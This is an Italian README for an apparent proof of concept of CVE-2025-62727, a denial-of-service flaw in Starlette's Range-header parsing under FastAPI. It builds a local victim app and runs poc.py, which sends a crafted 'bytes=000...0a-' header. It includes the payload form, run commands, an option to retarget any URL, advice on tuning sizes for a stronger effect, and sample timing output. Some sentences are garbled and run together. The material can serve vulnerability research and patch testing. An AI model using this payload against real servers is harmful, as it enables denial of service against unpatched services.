
Prova di concetto di CVE-2025-62727 che può causare denial-of-service in FastAPI (basato su Starlette <= 0.48.0)
La vittima designata di CVE-2025-62727 è una semplice app FastAPI che:
Hello World su /./static utilizzando StaticFiles di Starlette.A ripetuta N volte per N in 1024, 2048, 50176 all'avvio.(Opzionale) Creare e attivare un virtualenv.
Installare le dipendenze:
pip install -r requirements.txt
Avviare il server:
uvicorn main:app --reload
Aprire:
http://127.0.0.1:8000/ per la pagina principale.http://127.0.0.1:8000/static/1024.txt ecc. per i file statici.static/ all'avvio dell'app. I file esistenti non vengono sovrascritti.StaticFiles di Starlette come richiesto.Il poc.py incluso attiva il parsing CPU-intensive dell'header Range in FileResponse di Starlette tramite la rotta /static utilizzando un header costruito ad arte della forma bytes=000...000a-.
Avviare il server, poi in un'altra shell:
python3 poc.py --sizes 1000,2000,4000,7000
Sovrascrivere l'URL di destinazione (opzionale):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
Note:
http://127.0.0.1:8000/static/50176.txt di default (un file che l'app genera). Usare --url per cambiarlo.--sizes se si ricevono 400/431 (header troppo grande), o aumentarlo se gli header hanno successo e si desidera un effetto più forte.Esempio di risultato:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms